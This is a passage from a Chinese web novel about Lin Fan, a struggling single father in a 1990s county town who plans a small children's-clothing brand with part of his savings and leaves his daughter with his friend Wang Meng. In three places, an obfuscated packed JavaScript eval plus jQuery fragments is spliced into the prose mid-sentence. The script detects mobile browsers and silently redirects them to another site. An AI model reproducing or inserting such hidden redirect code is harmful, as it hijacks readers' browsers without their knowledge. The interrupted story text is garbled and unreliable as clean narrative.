现在墙刷完了,取而代之的是新到童装的棉絮香,混着林凡早上喷的一点点花露水,是最便宜的薄荷味,清清爽爽的,闻着都舒心,连客人都说“你家店比别家好闻”。
可没人知道,林凡心里藏着片没平息的浪,夜里总在翻涌。
他总想起1年前在南方玩具厂的日子:
十二小时轮班,坐在流水线前拧玩具螺丝,手指被机器磨出的硬茧顺着指节纹路凸起,像长了层薄薄的老树皮;
指关节处的皮肤糙得像砂纸,连握筷子都有点发僵,夹菜时总打滑,米粒“嗒嗒”掉在满是划痕的搪瓷碗里;
过年舍不得回家,就把省下来的钱寄给老家的二姨,托她照看年幼的笑笑,寄完钱自己啃着五毛钱的泡面,热气把电视里春晚的热闹都罩得发虚;
眼泪砸在泡面桶的塑料沿上,溅起星点汤花,连火腿肠都没心思拆,那肠是厂里发的年终奖,他揣了半个月都没舍得吃;
更忘不了去年笑笑发烧到四十度,小脸烧得通红,嘴唇干得起皮,起了层细细的白屑,嘴里还嘟囔着“爸爸抱”;
他抱着孩子跑遍县城三家诊所,攥着口袋里仅有的三百多块,纸币被手汗浸得发潮,边角都软了,慌得手都在抖;
当时医生皱着眉翻了翻笑笑的眼皮,语气急:“再拖要烧出问题!”他硬着头皮跟医生讨价还价:“能不能先开点退烧药?我明天就凑钱来输液。”
那时候他就暗下决心,一定要攒一笔“救命钱”,再也不让孩子受那样的罪。
如今那笔“救命钱”就躺在抽屉的铁盒里:一本写满计划的笔记本,纸边翻得起了**,有的页脚还沾着橡皮屑——
是他去年蹲在店门口琢磨进货时,蹭到的铅笔灰,封皮上用胶带粘了道缝,是之前被笑笑撕坏的;
一张四万七千元的定期存折,封面银行logo褪成了浅灰,边角磨得发毛,连存折内页的缝都有点松,像被翻了无数遍,里面还夹着张笑笑三岁时的照片,照片边缘卷得厉害,是他总拿出来看磨的。
这钱是他攒了所有的家底:除了彩票意外的,都是自己做这些小生意赚的,他连烟酒都戒了,为了女儿笑笑,能省的都省了。
有开小店后每月抠出来的五十到一百块,进童装时多砍两块钱价,卖货时少赚五毛钱,积少成多,有时客人多给了一毛钱,他都要追出门还回去;
连笑笑每年的压岁钱都被他小心存了进去,去年笑笑收到一百二十块压岁钱,吵着要买会唱歌的芭比娃娃,眼睛亮晶晶的;
他哄着说“先存起来,等你生日再买”,后来生日只买了个三十块的普通娃娃,剩下的九十块还是进了存折,笑笑没闹,还把娃娃递给他:“爸爸存着给我买好吃的,娃娃我有就够了。”
他坐在床边时,指腹会反复蹭过存折上的数字,连“4”字浅勾的毛边、“7”字竖线末端那点磨损都摸得分明,像摸熟了自己掌纹里的苦,偶尔还会把存折贴在耳边,仿佛能听见钱存进去时的“咔嗒”声。
心里像架天平,两端的砝码沉甸甸的。左边是“安稳过日”的砝码——店里每月能赚三百多,好的时候到四百五,够买二十斤带皮猪肉(当时县城猪肉三块五一斤,二十斤正好七十块,够他和笑笑吃大半个月;
炖肉时还能加点土豆),够买五十斤新碾的大米(一块二一斤,五十斤六十块,能吃一个月,米里还带着新米的清香),够买两斤散装酱油(八毛钱一斤,装在玻璃罐里能吃俩月);
三斤盐(五毛钱一斤),还能让中午的炒青菜多放半勺油,油星子在锅里“滋滋”响,晚上的鸡蛋汤里卧两个蛋,黄澄澄的浮在汤面,而不是之前孤零零一个;
右边是“冒险向前”的秤砣——他总想起去市批发市场的场景:南方小厂的童装堆在摊位上,有的面料摸着手感糙得像砂纸,贴在胳膊上都扎人,还带着股刺鼻的化学味;
有的缝边歪歪扭扭,线头拖得老长,连剪都没剪,用手一扯就松;可经过批发商、零售商两道手,价格比出厂时翻了一倍。
上次他拿的一批牛仔裤,进价三十五,卖五十,结果有个客人洗了一次就掉色,把孩子的白T恤染得发蓝,像泼了盆墨水;
客人找上门来,脸涨得通红,他不仅退了五十块,还送了双十块的袜子赔笑脸——那五十块,是他和笑笑三天的伙食费,至今想起心里还疼得慌,夜里都能梦见那染蓝的T恤。
林凡的日常,全是藏在细节里的妥帖,像把日子缝进了棉布里,针脚细密。
每天清晨六点半,他准会推开店门,先给窗边的小盆栽浇水,那是笑笑去年在路边捡的多肉,叶子胖乎乎的,像小婴儿的手指,叶尖还带着点红。
他怕晒坏,特意放在散光的窗台上,浇水时只用小勺子,一次浇三勺,怕浇多了烂根,勺子是之前买奶粉送的,塑料柄都磨白了;
整理童
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607496|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
袜时,指腹会多捏两下棉线,检查有没有勾丝,发现有根线头翘起来,就摸出兜里的小剪刀——那是他从老家带来的,木柄都包了浆,磨得发亮,剪刀尖有点钝,他还自己磨过;
仔细剪掉,剪下来的线头会攒在小纸包里,攒多了给笑笑玩;有次发现一双袜子的针脚歪了,袜口有点松,他干脆坐在柜台后,用针线重新缝了一遍,线用的是耐磨的涤纶线,缝得手指发酸;
指尖被针扎了个小红点,渗出血珠,他用嘴吮了吮继续缝,最后还在袜口缝了个小小的“笑”字,针脚歪歪扭扭,却透着心意,打算留给笑笑穿,孩子见了准高兴。
中午帮客人挑童装,他会蹲下来跟孩子平视,声音放得轻轻的,像怕吓着刚出壳的小鸡:
“这衣服是纯棉的,洗了不变形,你穿在身上跑,风都能从衣角钻进去,凉丝丝的;
上次有个跟你差不多大的小朋友;穿这个去广场追蝴蝶,跑了半个钟头,回来跟我说‘叔叔,这衣服不闷汗,比我妈妈买的舒服’。”
说的时候还会把衣服贴在孩子胳膊上,让孩子感受面料的软;傍晚关店后,牵着笑笑的小手往筒子楼走,听孩子数路边的石子:“一、二、三……爸爸你看,这颗石子像小月亮!”
他会弯腰捡起来,用衣角擦干净了塞给笑笑,衣角是他衬衫的下摆,洗得发蓝,还沾着点棉絮,看着孩子把石子放进小口袋,还拍了拍,怕掉出来,心里软得像化了的麦芽糖,连脚步都轻了。
筒子楼的楼道没灯,晚上黑得伸手不见五指,他每次都背着笑笑走,左手扶着墙,墙上的石灰会蹭在手上,白花花一层,右手托着孩子的腿,嘴里还数着台阶:
“一、二、三……还有五步就到家啦,到家爸爸给你热牛奶。”
牛奶是袋装的,要倒在小锅里热,怕煮糊了,他会盯着锅边的小泡,冒热气了就关火。
王猛早成了他的左膀右臂,连骨头缝里都透着实诚。
搬货架时,他会把重的往自己肩上扛,货架上放着十几件厚卫衣,压得他肩膀发红,布痕印得深深的,像刻上去的,他还说
“凡子你瘦,这点活我来,我年轻力壮的,扛着跟玩似的”,说完还拍了拍肩膀,笑得露出两排白牙;
理货时,会把橡皮按颜色排得整整齐齐,红的、蓝的、黄的,像道小彩虹,连掉在地上的小纽扣都要捡回来,用清水洗干净了放在小铁盒里;
上次有件粉色童装的扣子松了,他连夜坐在店里缝,缝到手指被针扎破,渗出血珠,也只是用嘴吮了吮,没吭声;
第二天把缝好的衣服摆回货架,还特意跟林凡说“这下结实了,孩子怎么扯都掉不了,你放心”,说的时候还拽了拽扣子,证明牢固。
护笑笑更是到了“寸步不离”的地步:
笑笑吃饭时,饭粒沾在嘴角像颗小珍珠,王猛会慌忙掏出自个儿的蓝布手帕,那是他娘去年给他缝的,边角还绣了朵小梅花;
梅花的线有点松,是他娘眼神不好缝的,他平时都舍不得用,叠得方方正正放在兜里,角都没翘——轻轻蹭过孩子的脸,动作轻得怕碰疼她,蹭完还会把帕子叠好,放回兜里;
有次笑笑在店门口玩,被隔壁卖水果的小孩推了一下,坐在地上哭,眼泪像断了线的珠子,王猛赶紧跑过去,把笑笑抱起来哄,手还拍着孩子的背,像拍着易碎的宝贝;
还去找对方家长讲道理,说得对方家长连连道歉,最后还送了笑笑一个苹果,苹果有点小,却红彤彤的;
下雨时,笑笑突然发烧,王猛冒雨跑了三条街,塑料凉鞋踩在积水里“啪嗒”响,裤腿卷到膝盖,还是溅满了泥点,去诊所买退烧药,回来时衣服像从水里捞出来;
贴在背上能看见肩胛骨的形状,却先把药揣进贴肉的怀里捂热,递过来时还打了个喷嚏,声音闷在喉咙里:“快给笑笑吃,别凉着”;
孩子想玩积木,他会蹲在地上陪她搭,搭错了就挠着头笑,头发上还沾着点积木的木屑:
“哎哟,笑笑教叔叔怎么搭好不好?你比叔叔聪明多啦!”
有次搭了个歪歪扭扭的房子,笑笑说“像咱们的筒子楼”,两人都笑了,笑声飘出店门,连路过的大妈都跟着乐,说“这俩跟父女似的”,王猛听了,笑得更欢了,眼角都皱起来。
第三十一章:市场分析
店里的营业额稳了。
每月除去租金(一百五十块,是筒子楼楼下的小门面,房东是个退休老师,人挺好,偶尔还会来买双童袜,总说“凡子你实在”,有时还会带块自己烤的饼干给笑笑);
进货(一千二百块左右,比如进五十件T恤,每件进价十八,就是九百块;进三十条裤子,每件进价十块,就是三百块,进货时他会把货清单列得清清楚楚,怕算错);
水电费(三十块,电费一块二一度,每月差不多二十度,晚上关店前他会检查所有灯都关了,水费三块钱一吨,每月用个三四吨,洗手都用盆接水,怕浪费);
能净赚三百多块,好的时候到四百五——这在九十年代的县城,算是不错的收入了,当时工厂的普通工人每月工资也就两百多块;
够他和笑笑过上不用顿顿喝稀粥、偶尔能吃块肉的日子,肉是买最便宜的五花肉,炖的时候放点萝卜,香得能飘满筒子楼。
可林凡没敢松劲。
他和笑笑的伙食是改善了——中午能加盘炒青菜,油放得比以前多,青菜是从街边老农那买的,五毛钱一斤,新鲜还带土,老农每次都会多给两棵;
晚上偶尔能喝碗鸡蛋汤,蛋花打得匀匀的,飘在汤里像碎云,鸡蛋是张婶家的鸡下的,比超市便宜五分钱一个,张婶总说“给孩子吃,别省,我家鸡下得多”,每次都用报纸包着,怕碰碎;
可他依旧穿那件洗得发蓝的白衬衫,袖口磨破了就用针线缝两针,针脚走得歪歪扭扭,却也结实,领口泛黄了就用肥皂多搓两遍,搓得手指都起了泡,晾在绳上时还特意拉展,怕起皱;
笑笑的裤子短了,他就找块颜色相近的布,在裤脚接一段,用缝纫机缝得整整齐齐——那缝纫机是他花八十块从旧货市场买的,有点老;
踩起来“咔嗒咔嗒”响,像在跟他说话,踩的时候还得时不时拍一下机身,不然就卡线,孩子穿着接了裤脚的裤子,还说“爸爸缝的好看,比店里的还好看”,说得他心里暖烘烘的,比吃了糖还甜。
住的还是筒子楼那间六平米的小屋,墙皮剥落的地方,他用白纸贴了贴,上面还粘着笑笑画的小太阳,红颜料有点晕开,像裹了层暖光,晚上开着15瓦的灯泡,光虽然暗,却也温馨,连影子都透着家的味,灯泡上还绕着笑笑串的纸星星,风一吹就晃。
大部分利润被他悄悄藏了起来——塞在床板下的铁盒里,铁盒是以前装饼干的,上面的图案都磨掉了;
裹在旧毛衣的夹层中,毛衣是他娘织的,有点小了,他舍不得扔;甚至把几张十元的票子夹在笑笑的《安徒生童话》里,夹在“小美人鱼”那一页,书角都被他翻得起了卷,怕丢了,也怕孩子看见闹。
凑到现在,流动现金已经近两千块。这钱攥在手里,暖得像块小暖炉,可分量又轻得像片羽毛——够补点货,比如进二十双童袜,颜色都是笑笑喜欢的粉色;
够交下月的租金;却够不上他心里那个更大的念头,那个在笔记本上画了好几个圈的“童装加工”计划,圈都画得很深,把纸都戳得有点破。
他比谁都清楚未来十几年的日子会怎么变——上次去市里,看到百货大楼里的童装专柜排起了长队,进口的小外套要一百二十块,比他店里最贵的衣服还贵两倍;
可还是有人买,家长捧着衣服跟宝贝似的,小心翼翼地叠好;听进货的小贩说,再过两年,私人服装厂会越来越多,要是还只靠倒腾别人的货,迟早会被甩在后面;
因为别人能拿到更便宜的一手货,而他只能从批发商那拿,成本高,利润薄,还容易拿到次品。可往前跑,就得动那笔定期存款;
四万七,是他的底牌,是笑笑未来的学费(当时县城小学学费一学期五十块,这钱够交十几年,还能给笑笑买课外书);
是孩子万一生病的医药费(上次笑笑发烧花了八十块,这钱够看五百多次,还能请最好的医生),是再遇到黑皮那样的麻烦时的救命钱。
动五千?一万?哪怕只是四千,也像在心上割块肉——万一亏了呢?
万一被钱老西(县城里出了名的爱打听事的人,总爱凑到店里问“凡子,最近赚了不少吧”,眼睛盯着收银盒,还会趁人不注意往柜台里瞟)察觉了呢?
这小县城里,一点风吹草动都能传得满城响,他不敢赌,也赌不起。“安于现状”还是“冒险一搏”?
这问题像根细刺,扎在他心里,连喝口水都觉得硌得慌,连梦里都在翻存折,有时梦见存折丢了,吓出一身冷汗,醒来摸遍床板才安心,手心都是汗。
转机来得像阵没预兆的春风,软乎乎地撞进了店里。
那天下午,店里进来个穿藏青色风衣的中年妇女,头发梳得一丝不苟,发梢用发胶固定住,没一根乱的;
领口别着枚小小的珍珠胸针,珍珠有点小,却亮闪闪的,在阳光下转着细弱的光,手里拎着印着“县机关”字样的文件袋,袋口用红绳系得紧实,连袋角都没磨**,一看就像机关里的干部。
她没急着说话,先在店里转了转,手指划过毛绒玩具、塑料汽车,动作轻得怕碰坏了,指尖还带着点护手霜的香味,最后停在一个进口的拼装模型前;
包装盒上印着英文,画着复杂的城堡图案,要五十八块,是店里最贵的玩具之一,平时很少有人问,落了点薄灰,她还用指尖轻轻擦了擦。
她摸了摸模型盒子,指尖在英文上顿了顿,叹了口气,语气里带着点无奈:
“唉,现在孩子的东西真是越来越贵了。
我家孙子刚六岁,上周跟他爸妈去市里,看见这个就闹着要,这玩意儿快赶上我半个月工资了(她每月工资一百二十块,是县城里的高收入,平时都舍不得给自己买新衣服)。
要是咱们本地能有靠谱的儿童品牌就好了,质量好点、价格实在点,也不用总盯着这些进口货,花钱还不省心;
上次在百货大楼买的进口T恤,花了六十块,洗了一次领口就松得能套过孩子的脑袋,晒在绳上像片耷拉的破布,找过去人家还说‘是你洗的方式不对’,气得我够呛,回来就把那T恤扔衣柜最底下了。”
她说着,还指了指自己风衣的袖口:“你看我这衣服,穿了三年都没变形,袖口的扣眼都没松,是我闺女在市里给我买的,现在孩子的衣服怎么就这么不结实?”
说者无心,听者有意。
这话像道闪电,“劈”中了林凡的脑子——本地品牌?质量好、价格实在?
他瞬间想起前阵子去市批发市场的画面:南方小厂的童装堆在摊位上,有的面料摸着手感糙得像砂纸,贴在胳膊上都扎人,还带着股刺鼻的化学味;
有的缝边歪歪扭扭,线头拖得老长,连剪都没剪,用手一扯就松;上次他拿的一批西部牛仔衣,洗了就掉色,把客人的内衣染得发蓝,像泼了墨水在上面;
客人前来找话说找,他自己都脸涨得通红,赔了三十块钱,还丢了个老客户——那个客户之前每月都来买两件衣服,现在再也没来过,路过店门都绕着走,每次想起都觉得可惜。
可就算是这样的货,经过批发商、零售商两道手,价格比出厂时翻了一倍,比如一件T恤出厂价十五,批发商拿了卖二十五,他拿了再卖三十五,利润薄得像张纸,赚的都是跑腿钱,有时还得担着卖次品的风险。
要是自己直接找厂家,做些简单、舒服的基础款,贴上“笑笑”的标签,就在自己的店里卖,再往周边县城的小店推,会不会有人买?
这个念头让他心跳快了半拍,手心都冒了汗,连手指都有点发颤,他赶紧攥了攥手,把汗蹭在裤子上。
这不再是简单的“倒买倒卖”,是往产业链上游走了一小步——利润更高,还能有自己的“招牌”,不用再看别人的脸色拿货,不用再担心拿到次品。
更重要的是,这事儿能从小的来,风险可控,比如先做一百件试试,就算卖不出去,也能慢慢清货,不至于伤筋动骨,正好能试试动储备金的水,不用一下子把底都掏出来,心里也能踏实点。
当晚,林凡没再摸那本存折,而是翻开笔记本新的一页,笔尖顿了顿,重重写下“童装试水计划”五个字,墨痕透了纸背;
连纸页都被笔尖压出了小坑,写的时候笔尖还断了次墨,他舔了舔笔尖继续写,墨汁沾在嘴唇上都没发现。
15瓦的灯泡悬在房梁上,昏黄的光裹着浮尘晃悠,灯泡上还绕着只小飞虫,影子在纸上晃来晃去,像在给他伴舞,灯泡偶尔还会“滋滋”响一下,是接触不太好。
他趴在吱呀响的木桌上,一笔一划地勾思路,连指尖蹭到墨汁都没察觉,黑印子沾在纸上,也像成了计划的一部分,透着股认真劲儿,桌上还放着杯凉白开,是笑笑睡前给他倒的,杯子是搪瓷的,上面印着“好好学习”,有点掉漆。
一、市场定位:抓“实在”,不玩虚的
主打3-8岁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607497|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
儿童基础款——就做T恤、卫衣、短裤这三样最实用的。他选这个年龄段,是观察了半年得出来的:
3岁以下的孩子,家长更倾向于买手工做的衣服,觉得更软和,贴身穿放心,有的还会自己带布料找裁缝做;
8岁以上的孩子开始挑款式,喜欢花里胡哨的卡通图案,今天喜欢奥特曼明天喜欢小公主,不好把握喜好;
而3-8岁的孩子长得快,衣服换得勤,家长更看重“耐穿、舒服、便宜”,基础款正好戳中需求,不会过时,春天买的夏天还能穿。
面料必须是纯棉,而且得是精梳棉——他上次去面料市场问过,精梳棉比普通棉布更软,洗了不缩水,纤维也细,不会磨孩子皮肤;
当时精梳棉市场价每米八块,比普通棉布(六块一米)贵两块,但他觉得值——上次有个宝妈抱着孩子来买衣服,孩子脸上还带着点小红疹;
宝妈说“我家孩子皮肤嫩,穿非纯棉的衣服就痒,起小红点,只有纯棉的能穿”,这话他记在了心里,还特意把“纯棉”两个字写在笔记本上,画了个圈,旁边注着“孩子皮肤要紧,不能省”。
做工要扎实,领口缝双层布,免得磨孩子的脖子——他见过有孩子穿单层领口的衣服,脖子被磨得发红,像起了疹子;
家长心疼得直掉眼泪,抱着孩子来找店家理论,声音都带着哭腔;袖口要卷边缝,不容易开线,孩子扯着玩也不怕,卷边的宽度都算好了,两厘米正好;
扣子选塑料的,圆润不硌肉,颜色选白色或浅蓝色,跟衣服搭,还得用双线缝,缝三圈,防止掉了噎着孩子,细节处不能马虎,每个步骤都要记下来。
价格定在“中间档”——比百货大楼的进口货便宜一半(进口T恤五六十,他的卖三十),比小摊上的糙货贵个三五块(小摊T恤二十五,面料是混纺的;
洗了容易起球,还变形,晾干后硬邦邦的),让家长觉得“花这钱值”,不是图便宜,是图孩子穿得舒服、放心,买得踏实。
他还算了笔账:一件T恤成本十五(面料八块、加工费三块五、辅料一块五、车费一块,车费是去工厂的来回钱),卖三十,能赚十五块,比之前倒腾货赚得还多,利润实在,算的时候还用算盘打了一遍,“噼里啪啦”的声儿在小屋里响。
二、生产模式:找“靠谱”,盯紧质量
去市里或邻市的小服装厂,而且必须亲自去看——他听说有些小厂为了省成本,用的是二手机器,零件都快锈了,做出来的衣服针脚歪歪扭扭,还跳针,有的甚至把坏布拼成好布用。
他打算先去东郊区的那家“利民服装厂”,上次进货时小贩跟他提过,说“那家厂老板姓赵,实在人,不搞以次充好的虚活儿,做的衣服针脚齐,车间也干净”。
去的时候要重点看三样:
一是车间干不干净,机器上有没有积灰(机器脏的厂,做出来的衣服容易沾线头,还可能有油污,孩子穿了不舒服,洗都洗不掉);
二是工人踩缝纫机的线直不直,有没有跳针——他特意学过看针脚,每厘米三针是最好的,太少容易开线,太多太密又浪费线,还硬邦邦的,摸着手感不好;
三是有没有合格的布料检测单,不能拿“三无”货糊弄,检测单上要写清楚“棉含量100%”,还要有甲醛检测合格的证明,孩子穿的衣服,安全是头等大事,不能含糊,检测单要复印一份带回来存着。
初期不包工包料,自己去面料市场挑棉线,选好颜色(浅黄、淡蓝、粉白,都是孩子喜欢的温柔色,不会太刺眼,看着也干净,浅黄像小鸡的绒毛,淡蓝像天空)、定好克重(180克,太厚孩子穿得热,尤其是夏天,一跑就出汗,衣服贴在身上难受;
太薄容易破,不耐磨,180克正好,摸着手感也厚实,有质感),再送过去加工。
这样既能盯紧质量,还能省点成本——面料市场的王老板跟他熟,王老板的儿子跟笑笑差不多大,两人还一起玩过;
王老板说“自己带料能省10%的加工费”,他算了算,一百件T恤能省七十块,够买两斤猪肉,给笑笑改善伙食,炖肉时还能加点粉条。
万一出了问题,也能及时改,比如上次批发市场的货掉色,
就是因为没盯紧染厂,这次他要亲自跟着,染布的时候去看,确保用的是环保染料;
洗了不掉色,孩子穿着也安全,染布的水要清澈,不能是黑乎乎的。
第三十二章:抉择与启程
三、设计:求“简单”,讨孩子喜欢
不搞花里胡哨的款,就借鉴市面上卖得好的版型,改点小细节——比如在T恤胸口印个小小的“笑笑”logo;
用淡蓝色的线,不扎眼,像藏了个小秘密,孩子穿在身上,还能跟同学说“这是我爸爸的店的衣服,上面有我的名字”,logo的字体选圆润的,像孩子写的字;
短裤的腰头加段软布松紧带,弹性够足,孩子自己能穿脱,不用麻烦家长,松紧带要选加宽的,三厘米宽,不会勒肚子,孩子跑跳也舒服,松紧带的颜色要跟裤子相近,不突兀;
卫衣的帽子里加层薄绒,冬天穿暖和,绒要选细的,不会掉**,孩子吸进鼻子里不好,帽子上的抽绳要短点,十厘米左右,防止孩子玩的时候被勒到,安全第一,抽绳的末端还要缝个小塑料扣,防止抽进去。
以后要是卖得好,再找美术学校的学生帮着画图案——
他问过美术学校的老师,老师说学生画一张儿童图案也就二十块,花不了多少钱,还能有新意,比如画个小太阳;
小蝴蝶、小兔子,都是孩子喜欢的,肯定能吸引小顾客,图案要画得可爱点,不能太复杂,孩子喜欢简单的。
现在先简单点,一是省成本,二是好把控质量,复杂的图案容易印歪,颜色也容易不均,反而不好,先把基础打牢,一步一步来,不能急。
四、预算:算“精细”,一分钱掰两半花
首批先做夏装——T恤100件,短裤100件,夏天衣服好卖,孩子换得勤,脏了坏了家长也愿意再买,夏天的衣服加工也快,不用等太久。
他拿了个小算盘,噼里啪啦算了半天,算得额头都冒了点汗,生怕算错了,算的时候还把数字写在纸上,一遍一遍核对:
面料:T恤每件用一米布,100件就是100米,每米八块,共八百块;短裤每件用六分米布,100件就是60米,每米八块,共四百八十块,买布的时候要多买两米,怕有裁剪错的;
加工费:每件三块五,200件就是七百块(当时小厂的加工费行情就是三块到四块,他跟赵老板谈了谈,说以后长期合作,赵老板才给了三块五的优惠价,还说会帮他盯质量);
辅料:纽扣、线、印logo的油墨,共五十块,纽扣要多买十个,怕丢了或坏了;
车费:去市里的班车三块钱,来回六块,去面料市场和服装厂要跑两趟,共十二块,去的时候尽量坐早班车,人少还能省点时间;
算下来差不多三千八百一十二块——凑个整,四千块够了,不多花一分冤枉钱,连去市里喝碗面都打算自己带馒头,省点饭钱,馒头是前一天晚上蒸好的,用布包着,不会凉得太快。
这四千块,从储备金里拿,剩下的四万三还在存折里,就算亏了,也还有退路,心里踏实,不用慌,把钱分开拿,一部分放在贴身的兜里,一部分放在帆布包的侧兜,怕丢了。
五、风险:留“退路”,不把鸡蛋放一个篮子
100件T恤、100件短裤,就算卖得慢,也能摆着慢慢卖,实在不行就搞点“买一送小礼物”的活动。
小礼物是笑笑折的纸星星,五颜六色的,成本几乎为零,孩子还喜欢,上次有个孩子为了纸星星,缠着妈妈买了两件衣服;
效果挺好,纸星星要放在透明的小瓶子里,看着好看;最怕质量出问题,所以必须盯着工厂做,第一件成品出来先洗三次,看缩不缩水、掉不掉色、起不起球;
上次拿的T恤洗了一次就缩水,领口缩得像个小疙瘩,孩子穿不上,这次他要多试几次,要是不行,立刻改,绝不能卖给客人,砸了“笑笑宝贝屋”的招牌,招牌砸了就再也立不起来了,比丢了钱还难受。
笔尖在“四千块”那行停了停,林凡用指腹蹭了蹭纸页,墨痕有点硌手,心里的浪却慢慢平了。
这不是冲动,是算过账的——四千块,是他能从储备金里动的数,不伤筋动骨,还能试出一条路,值。
他合上笔记本,走到床边,月光从窗户缝里钻进来,像条银线,落在笑笑脸上,小脸红润润的,睫毛忽闪忽闪;
像小扇子,呼吸均匀得像吹过的春风,带着孩子特有的奶气,还能闻到孩子头发上的洗发水味,是最便宜的草莓味,混着奶气。
笑笑翻了个身,小嘴嘟囔了一句“爸爸,向日葵”,他知道孩子是想起了白天在路边看见的向日葵,金灿灿的,孩子还说要种一棵,赶紧帮她把踢开的薄被盖好;
薄被是小碎花的,洗得有点发白,俯下身,轻轻亲了亲女儿的额头,触感软乎乎的,像碰着块刚蒸好的小棉花糖,心里满是暖意,比喝了热牛奶还暖。
“笑笑,”他声音压得很低,像在跟女儿说悄悄话,又像在跟自己做承诺,“爸爸要去冒个小险。不是瞎闯,是想让咱们快点有个安稳的家——
不用再挤六平米的小房子,不用再怕坏人来捣乱,你能在大院子里跑,能种你喜欢的向日葵,夏天摘瓜子,冬天烤红薯,还能穿爸爸给你做的衣服,上面还有你的名字呢,多好。”
说的时候还轻轻拍了拍笑笑的背,像哄孩子睡觉。
第二天一早,天刚蒙蒙亮,外面还飘着点薄雾,像给县城盖了层纱,能见度只有几米远,林凡就把王猛叫到里间;
从抽屉里拿出备用钥匙——钥匙上拴着个小铜铃,是笑笑捡的,摇起来“叮铃”响,清脆得很,递到王猛手里。
“猛子,我去市里考察几天,找新货源,笑笑和店里就交给你了。”
他顿了顿,又从口袋里掏出张纸条,上面写满了注意事项,字写得比平时大,怕王猛看不清,每个字都很用力,纸是从笔记本上撕下来的,边缘有点**:
笑笑中午要睡午觉,你帮她铺好小垫子(在衣柜第一层,蓝色带小熊的,垫子有点薄,记得垫个小毯子),盖好薄被子(被子在衣柜第三层,上面有小太阳图案,别盖太厚,孩子怕热);
她下午四点要喝牛奶,用温水冲(牛奶在柜子第二层,袋装的,别用开水,会烫着,冲好晾两分钟再给她喝,杯子是粉色的,上面有小兔子);
进货的账本在柜台下的抽屉里,卖完的货记清楚,别算错账,晚上把钱锁进铁盒(钥匙在柜台的笔筒里,黑色的那支笔后面,铁盒要放在床板下,别放在显眼的地方);
要是钱老西来,别跟他多说,就说我去进货了,过几天回来,他问什么都别搭茬,别让他看出动静,他要是赖着不走,你就说要给笑笑做饭,把他打发走;
有急事就打这个电话(是他在市里的表哥家的号,表哥在市里开饭馆,能帮衬点,号码我写在纸条背面了),或者找李干事(上次帮他们赶走黑皮的干部,人挺好,热心肠)帮忙,李干事的电话也写背面了。
王猛攥着钥匙,铜铃“叮铃”响了声,他把纸条叠了三层,塞进贴身的口袋里,拍着胸脯保证,蓝布衫都震得发皱,胸口的扣子都差点崩开:
“凡子你放心!店我肯定看好,一分钱都不会少,每天晚上我给你报平安,让你睡踏实;笑笑我也护得妥妥的,她要吃啥我给她买,昨天她还说想吃糖葫芦,我明天一早就去买,买带芝麻的,甜滋滋的,她肯定喜欢!
你在外头别担心,有事儿我找李干事,他肯定帮咱们,上次黑皮那事就是他帮的忙,他人实在!”
他说着,还凑到笑笑身边,捏了捏孩子的脸蛋,动作轻得像碰着豆腐,孩子还没完全睡醒,小嘴动了动:“叔叔,糖……”王猛笑了:“醒了就有糖吃,乖。”
笑笑突然就醒了,眨着大眼睛,点了点头,小手紧紧攥着林凡的衣角,指节都泛了白,把衣角的缝线都拽得有点松,声音软得像刚蒸好的米糕:
“爸爸早点回,等你,给我讲《小美人鱼》的故事,上次讲到小美人鱼救王子了,王子还没醒呢。”说的时候还拉了拉林凡的手,手心暖暖的。
林凡摸了摸女儿的头,指尖蹭过她柔软的头发,像摸过一团小云朵,头发里还沾着根小棉絮,他轻轻摘下来,亲了亲女儿的额头。
转身从床板下的铁盒里拿出四千块钱——钱被他用橡皮筋扎了四层,扎得紧紧的,最大的票子是五十的,有八十张,叠得整齐,边角都对齐了,最小的是十块的,有十张,攥在手里沉甸甸的。
压得掌心有点麻,带着纸币特有的油墨味,还能闻到点铁盒的锈味。他把钱塞进内兜,贴在胸口,能感受到纸币的纹路,像贴着自己的心跳;
又检查了一遍笔记本、身份证(怕住店要用,放在帆布包的侧兜,用塑料袋包着,怕受潮)、牙刷毛巾(带了个小布包,装着洗漱用品;
布包是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607498|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑笑妈妈以前生病缝的,歪歪扭扭的针脚,却很贴心,上面还绣了个小太阳),确认没落下东西,才背上帆布包;
帆布包上还沾着点上次进货时的面粉,是他帮面粉厂的张哥搬袋子时蹭的,他没洗,觉得有点念想,看着就想起那天的热闹,张哥还给他塞了袋新磨的面粉。
早班车的铁皮车身“哐当哐当”晃着,像个喘着气的老古董,汽油味混着车厢里的煤烟味飘过来,有点冲鼻,靠窗的座位还沾着点晨露,凉丝丝的;
座位上的木纹被磨得发亮,能看见里面的年轮,透着岁月的味,木纹里还嵌着圈浅黄的印子,是上月有乘客洒的豆浆干了留下的。
